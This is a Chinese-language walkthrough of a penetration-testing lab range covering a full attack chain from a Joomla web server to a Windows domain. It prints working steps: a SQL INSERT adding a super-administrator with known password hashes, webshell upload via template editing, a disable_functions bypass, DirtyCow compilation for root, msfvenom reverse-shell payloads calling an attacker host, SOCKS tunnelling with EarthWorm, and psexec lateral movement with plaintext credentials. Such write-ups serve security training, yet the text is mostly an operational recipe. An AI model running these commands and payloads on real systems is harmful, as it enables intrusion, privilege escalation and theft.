红日靶场第三关
一、环境配置
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
参考虚拟机网络配置,添加新的网络,该网络作为内部网络。
注:名称及网段必须符合上述图片,进行了固定ip配置。
本次环境为黑盒测试,不提供虚拟机账号密码。
win10/kali:VMnet11 攻击机
web-centos:VMnet10、VMnet11 外网
web1-ubantu:VMnet10 内网反代肉鸡
pc:VMnet10 内网PC
win2008:VMnet10
win2012:VMnet10
- 在虚拟机的网络编辑器中添加两个host only网卡,ip段分别为192.168.1.0/24和192.168.93.0/24
- 刚开启web-centos时输入命令:service network restart命令重启网卡,不然没法访问外网的IP地址。
二、目标
目标:域控中存在一份重要文件。
三、WEB外网打点
3.1 信息收集:
3.1.1 发现资产
外网机处于网端192.168.1.0/24中,nmap查找资产。
发现肉鸡ip为192.168.1.130,开放了80端口,判断sql类型为mysql:3306
3.1.2 网站信息&目录信息
CMS:Joomla
语言:php
反向代理:Nginx
dirsearch:(找了大半圈…)
SQL :用户名:testuser 密码:cvcvgjASD!@
3.1.3 数据库连接
3.1.4 获得用户名和密码
加过盐,尝试看添加用户方法。
3.1.4.1 Joomla帮助文档
"方法1:configuration.php文件"
如果您可以访问您的 configuration.php 在你的服务器的Joomla的安装文件,然后你就可以恢复密码使用以下方法。
1。使用FTP程序连接到您的站点。找到configuration.php文件看文件的权限。如果权限是444或其他值,然后改变configuration.php文件的权限为644。这将有助于防止问题的发生configuration.php文件上传时在这个过程后。
2. 下载配置文件。
3. 打开configuration.php文件被下载的文本编辑器,比如notepad++并添加这行
public $root_user='myname';
在列表的底部,myname是一个用户名,管理员访问您知道密码。用户名或更高的用户名也可以用来代替具有管理员权限的用户名。
4. 保存configuration.php文件并将其上传到站点。您可以在配置上保留权限。configuration.php文件644。
此用户现在将是临时的超级管理员。
5. 登录到后端并更改管理员密码您没有密码或创建一个新的超级管理员用户。 如果您创建新用户,您可能需要根据您的情况来阻止或删除旧用户。
6.当完成后,务必使用这里的“点击尝试自动”环节中出现的警告框,删除线,加入到configuration.php文件。如果使用链接不成功,然后再删除添加的线从你的configuration.php文件使用文本编辑器。上传文件到网站configuration.php。
7. 使用你的FTP程序,验证了configuration.php文件的文件权限,他们应该是444。如果你手动删除添加的行,然后更改文件权限的configuration.php文件444。
"方法1:直接编辑数据库"
如果上面的方法不起作用,你还有另外两个选项,这两个选项都需要直接与MySQL数据库一起工作。
更改数据库中的密码
如果管理用户仍然被定义,最简单的选项是将数据库中的密码更改为已知值。这就需要你有机会使用phpMyAdmin或另一个客户端的MySQL数据库。
Stop hand nuvola.svg.png确定您更改您的密码一旦您重新访问
这些指示將说明如何手动更改密码到Word中 - "secret"
1.导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
2.找到并单击“添加表_users”在表的列表(注:你可能有一个前缀,jos_,简单地去_users表你的前缀)。
3.点击“浏览”按钮在顶部工具栏。这将显示为该站点设置的所有用户。
4.查找要更改其密码的用户并按该行的编辑图标。
5.将显示允许您编辑密码字段的窗体。复制的意义
d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
6.在密码栏中按下“Go”按钮。phpMyAdmin应该显示消息“受影响的行数:1.此时,密码应改为'secret'。
7.使用此用户和密码登录并将此用户的密码更改为安全值。检查所有用户使用用户管理器,以确保它们是合法的。如果您已被黑客攻击,您可能要更改网站上的所有密码。
"方法2:添加新超级管理员使用"
如果更改密码不起作用,或者您不确定哪个用户是超级管理员组的成员,您可以使用此方法创建新用户。
导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
按工具栏中的“SQL”按钮在选定的数据库上运行SQL查询。这将显示一个字段名为“Run SQL query/queries on database<您的数据库>”。
删除任何文本在这一领域,复制并粘贴以下查询下面,按下“Go”按钮执行查询和添加新的管理员用户表。
使用下面的SQL查询添加另一个管理员帐户。
Stop hand nuvola.svg.png确保您的数据库表前缀匹配!
下面的代码使用jos31_作为表名的前缀仅是一个示例表前缀。当你第一次安装Joomla的前缀是“random 或你设定的具体过。你需要改变所有发生的jos31_”(你的安装设置前缀)发现,在下面的代码前缀安装使用。
Joomla使用SQL代码 Joomla 2.5 Joomla 3.x Joomla 4.x
INSERT INTO `jos31_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
在这一点上,你应该能够登录到Joomla的后端!用用户名和密码“Admin2”的“密码”。登录后,转到用户管理器并将密码更改为新的安全值,并向帐户添加有效的电子邮件地址。如果有机会你被“黑客攻击”,一定要检查所有的用户是合法的,特别是超级管理员组的任何成员。
Stop hand nuvola.svg.pngWarning!
警告:此页上显示的密码值为公开知识,仅用于恢复。您的网站可能会被黑客攻击,如果你不改变密码到一个安全值登录后。请确保登录后将密码更改为安全值。
上面的例子更改密码为“select”。其他两个可能的值如下所示:
- password = "this is the MD5 and salted hashed password"
------------------------------------------------------
- admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
- secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
- OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm
将命令写入:
- 建议把上面的admin2改成admin123456,不知道为什么我admin2无法登录。
3.2 模板注入Getshell
找到模板模块
任选一个:
直接挂马:创建一个新的文件,上马连。
成功getshell
3.3 disable_function绕过
说明:
禁用如下:
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
判断是disable_function禁用了命令,需要绕过,这里选择跳给蚁剑绕。
3.3.1 中国蚁剑上线
用上述方法重复一次即可上线。
推荐蚁剑插件:
检测永恒之蓝: https://github.com/AntSword-Store/AS_MS17-010_Scan
disable_function绕过:https://github.com/AntSword-Store/as_bypass_php_disable_functions
木马扫描: https://github.com/AntSword-Store/as_trojan_scans
出网探测: https://github.com/AntSword-Store/AS_Out-of-Network
选择插件绕过:
选择:
3.3.2 成功绕过
3.4 拿下WEB机和反向代理服务器
cd /etc/nginx/
cat nginx.conf
发现真实WEB服务IP地址为192.168.93.120
而centos则是提供反向代理的Nginx服务器192.168.93.100
四、MSF上线
4.1 ssh登录
文件/tmp/mysql/test.txt中暴露用户名:wwwuser 密码:wwwuser_123Aqx (这里我找不到文件,ssh直接连的)
4.2 脏牛提权
脏牛漏洞 (CVE-2016-5195)对CentOS 进行提权
EXP下载:https://github.com/FireFart/dirtycow
将代码上传到一个可以执行的文件夹内,可以尝试我的方法:
xshell命令:到可执行文件cd /tmp
编译脏牛:gcc -pthread dirty.c -o dirty -lcrypt
给编译文件设密码:./dirty 123456 id 显示用户的ID,以及所属群组的ID;uid=0,为root用户
给系统添加了一个管理员用户:用户名:firefart 密码:123456
新建一个连接ssh连,直接就是root用户。
4.3 反弹shell给msf
msf生成Linux的shell,用于后期代理横向:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=9999 -f elf > shell.elf
4.3.1 配置监听
> use exploit/multi/script/web_deliverymsf6 exploit(multi/script/web_delivery) > set LHOST 192.168.1.129msf6 exploit(multi/script/web_delivery) > set LPORT 9999msf6 exploit(multi/script/web_delivery) > set target 7msf6 exploit(multi/script/web_delivery) > show targets(查target,选择Linux)Exploit targets: Id Name -- ---- 0 Python 1 PHP 2 PSH 3 Regsvr32 4 pubprn 5 SyncAppvPublishingServer 6 PSH (Binary) 7 Linux 8 Mac OS Xmsf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/script/web_delivery) > exploit
4.3.2 FTP上传
4.3.3 运行并查看
想要进入meterpreter的只需sessions 1即可。
4.4 端口转发
4.4.1 路由转发MSF入段
msf路由转发,让msf进入内网93段sock5代理,让kali进入内网93段msf路由转发> route print> route add 192.168.93.0 255.255.255.0 1> route print
4.4.2 socket5代理转发KALI
KALI中的操作:
vim /etc/proxychains4.conf:末尾最后一行注释socks4,添加一行socks5 127.0.0.1 1080> cd /root/ew/ :进入目录> ./ew_for_linux64 -s rcsocks -l 1080 -e 1234
Centos中的操作:
> cd /tmp/ :上传ew_for_linux64到该目录下> chmod +x * :添加权限,不然没法执行> ./ew_for_linux64 -s rssocks -d 192.168.131(kali) -e 1234
centos:
成功:
五、内网横向
5.1 内网信息收集
5.1.1 本机信息收集
ifconfig /all
外网IP:192.168.1.130 内网IP:192.168.93.100
sysinfo:版本查询
5.1.2 内网资产探测
msf6 exploit(multi/script/web_delivery) > use auxiliary/scanner/discovery/udp_probe
msf6 auxiliary(scanner/discovery/udp_probe) > set rhosts 192.168.93.0-255
msf6 auxiliary(scanner/discovery/udp_probe) > set threads 10
msf6 auxiliary(scanner/discovery/udp_probe) > run
整理资产:
192.168.93.100 centos-web (外网机子)
192.168.93.30 WIN7 (初步判断是PC机子)
192.168.93.20 WIN2008
192.168.93.10 WIN2012R2
5.1.3 端口扫描
proxychains4 nmap -Pn -sT -sV 肉鸡IP -F
WIN2012R2(192.168.93.10):
WIN2008(192.168.93.20):
WIN7(192.168.93.30):
六、psexec传递(win7)
6.1 拿下win7
密码只能从网上找,未给测试爆破字典。
获取会话。目前的情况是windows在内网,添加的路由是把攻击机带入到内网,使用reverse_tcp是连接不上了,只能正向连接。
win7:192.168.30.30 处于内网
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.93.30
set smbuser administrator
set smbpass 123qwe!ASD
run
6.2 win7信息收集
ipconfig /all
sysinfo
域内Domian:test.org
6.3 同理拿下win2008
七、无法拿下的域控
域控机SMB一连就断,无法用psexec传递拿下。
win2008没有域控的登录日志。
win2008和win7无法用mimikatz抓取到铭文密码。
总计问题:
1.win7拿下后,但shell的连接断断续续。
2.内网机器都无法用Meterpreter调用mimikatz抓取铭文密码。
3.未上线至CS,因为需要C2插件。
|